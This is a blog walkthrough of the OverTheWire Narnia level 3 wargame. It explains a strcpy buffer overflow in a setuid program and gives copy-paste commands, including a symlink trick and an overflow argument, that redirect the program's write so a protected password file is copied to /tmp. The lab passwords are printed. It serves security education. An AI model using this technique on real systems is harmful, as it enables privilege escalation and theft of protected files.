Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Narnia Level 3 → 4 tutorial!!

Login

Use the password from Level 2 → 3 (vaequeezee in my run):

ssh narnia3@narnia.labs.overthewire.org -p 2226
# password: vaequeezee

Task

Binary to exploit: /narnia/narnia3

It takes a filename as argument, and copies its contents to a destination file. By default the destination file is /dev/null, but the program uses unsafe strcpy into a small buffer, so we can overflow and overwrite the destination path.


A little bit of Theory

  • ofile[16] = "/dev/null"; → destination filename buffer is 16 bytes.
  • strcpy(ifile, argv[1]); with no bounds check means supplying >32 bytes for ifile overflows into ofile.
  • Overwriting ofile lets us choose where the program writes.
  • Trick: create a symlink so the program writes the secret password file into a world-readable temp file.

Further reading:


Source Code

int main(int argc, char **argv){
    int ifd, ofd;
    char ofile[16] = "/dev/null";
    char ifile[32];
    char buf[32];

    if(argc != 2){
        printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
        exit(-1);
    }

    strcpy(ifile, argv[1]);
    if((ofd = open(ofile,O_RDWR)) < 0 ){
        printf("error opening %s\n", ofile);
        exit(-1);
    }
    if((ifd = open(ifile, O_RDONLY)) < 0 ){
        printf("error opening %s\n", ifile);
        exit(-1);
    }

    read(ifd, buf, sizeof(buf)-1);
    write(ofd, buf, sizeof(buf)-1);
    printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

    close(ifd);
    close(ofd);
    exit(1);
}

Solution

Step 1 — Trigger usage

./narnia3
# usage: ./narnia3 file, will send contents of file 2 /dev/null

Confirms we need to provide a filename.


Step 2 — Overflow ofile in GDB

gdb /narnia/narnia3
(gdb) break *main+93     # right before open() of ofile
(gdb) run $(python3 -c 'print("A"*32 + "BBBB")')

Check $eax → now points to "BBBB". So after 32 chars, we control the output path.


Step 3 — Craft exploit path

We want to overwrite /dev/null with a custom path under /tmp.

mkdir -p /tmp/FOOBARFOOBARFOO/tmp
ln -s /etc/narnia_pass/narnia4 /tmp/FOOBARFOOBARFOO/tmp/ax
touch /tmp/ax
chmod 777 /tmp/ax

Step 4 — Run the exploit

./narnia3 $(python3 -c 'print("A"*32 + "/tmp/FOOBARFOOBARFOO/tmp/ax")')

The program writes the contents of /etc/narnia_pass/narnia4 into /tmp/ax.


Step 5 — Read the password

cat /tmp/ax
# thaenohtai  (example from my run)

Boom 🎉 we got the next password.


Password

thaenohtai

Troubleshooting

  • Segmentation fault immediately → You used too many/few padding bytes. The correct offset is 32.
  • Permission denied writing file → Ensure your target is writable (e.g., /tmp with chmod 777).
  • Garbage output → Double-check your symlink points to the actual /etc/narnia_pass/narnia4.

Copy-paste quick run

ssh narnia3@narnia.labs.overthewire.org -p 2226
# password: vaequeezee

cd /narnia
mkdir -p /tmp/FOOBARFOOBARFOO/tmp
ln -s /etc/narnia_pass/narnia4 /tmp/FOOBARFOOBARFOO/tmp/ax
touch /tmp/ax
chmod 777 /tmp/ax

./narnia3 $(python3 -c 'print("A"*32 + "/tmp/FOOBARFOOBARFOO/tmp/ax")')
cat /tmp/ax

Congrats 🎉 You exploited a strcpy overflow to redirect file writes and captured the password for narnia4. Onward to Level 4 → 5!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with